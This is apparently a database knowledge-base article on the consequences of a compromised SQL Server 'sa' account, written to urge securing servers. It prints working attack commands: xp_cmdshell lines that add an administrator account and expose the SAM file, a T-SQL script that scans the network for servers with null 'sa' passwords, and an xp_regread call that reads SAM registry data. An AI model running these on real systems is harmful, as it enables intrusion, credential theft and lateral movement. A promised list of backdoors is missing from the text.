|
Search:
Advanced search
|
Browse by category:
|
Glossary | Contact Us |
 |
What could happen if the 'sa' account is compromised? |
||||
Say someone has compromised an account with execute rights to the xp_cmdshell extended stored procedure
(such as 'sa') using a dictionary attack, social engineering, packet sniffing, trojans, keystroke recorders, or simple guessing. The next step is to compromise the OS. This might include firing up the xp_cmdshell stored procedure
and typing:
Xp_cmdshell 'net user testuser UgotHacked /ADD'
Then:
Xp_cmdshell 'net localgroup Administrators testuser /ADD'
Note: In SQL
7.0, non-sys admin role users get SQLAgentCmdExec user context by default, so this exploit won’t work unless sa is compromised. Some may argue that once a person compromises the Administrator account, then talking about things they can do is a waste of time. The point is that sa isn’t Administrator; sa is a SQL
Server security model member, and its exploitation can lead to a compromise of other security models such as NT. This is the primary point you should take from this section—the idea that attackers can take advantage of a weaker security model to compromise a stronger one.
Now the attacker has an account with local administrator access
on your SQL
Server machine. (Pray your machine isn’t a domain controller or the user now has domain admin access. Sigh.) While the attackers are there, they just may fire off this query
:
Xp_cmdshell 'rdisk /s-'
This effectively rebuilds the information in the \winnt\repair directory without prompting the user.
After backing up the SAM (sam._ in \winnt\repair directory), the attacker can establish an SMB connection to an administrative share or create one:
Xp_cmdshell 'net share getsam=c:\winnt\repair'
Of course, if the SMB ports (UDP 137/138, and TCP 139) are blocked, the attacker will just have to find a Web server with anonymous browsing enabled (or enable it using OLE automation stored procedures), move the file, and use a browser to do his or her dirty work. If that doesn’t work, why not just bcp (bulk copy program) the table
into an image field
and then use the GetChunk ADO
method to pull it over to your machine? How about using the built-in TFTP client to download a Netcat listener to the machine and then configure it to listen and transfer? Be creative — hackers are.
By the way, compromised SQL
Servers make excellent launching points for attacks against other machines inside the network. By hopping from server to server it is possible to move virtually undetected through otherwise well-defended networks. Below is an example sql
script to enumerate other SQL
Servers on the network that have null
'sa' accounts.
-- Create temp table
to store enumerated servers
SET NOCOUNT ON
CREATE TABLE
#temp (shelldump varchar(255))
INSERT
#temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR
FOR SELECT
* FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null
sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server <> 'Servers:'
BEGIN
SELECT
@current_server = rtrim(ltrim(@current_server))
SELECT
@conn_string = 'exec master..xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select
@@version"'''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
PRINT '====================================================================='
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
--Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE
#TEMP
As the above code shows, a compromised SQL
Server can be turned into an unwilling participant in more attacks. Even better for the attacker, subsequent probes/intrusions lanuched from this server will mask the fiend since logs will show the compromised SQL
Server to be the source of future suspicious activity.
What if you were smart and disabled the xp_cmdshell extended stored procedure ? Now where do we go? Try this little gem: xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'
If the MSSqlserver service is running under the LocalSystem account, then this call can return an encrypted password or SID right out of the registry. (David LeBlanc - a frequent posted to ntbugtraq - has correctly pointed out that this will only work on machines without SYSKEY installed.)
These are just a few brief samples of exploits that can be performed against an unsecured server. Make sure you audit your own systems to ensure that these and other exploits don’t compromise your security.
So what? They get into the SQL
Server, how does this affect my network?
Once the system is compromised, it’s likely the intruder will put backdoors in place to gain access to other systems, and to make sure he or she can get to this box again incase you read this article and implement changes. Some examples include the following:
You need to secure SQL
Server before it goes into production. If it’s too late for this, then do your best to look for these trojans and remove them. Good logging will help you to monitor access and see who is using the server in ways they shouldn’t. |
||||
Powered by
DBNest.com (Nest of DB Professionals)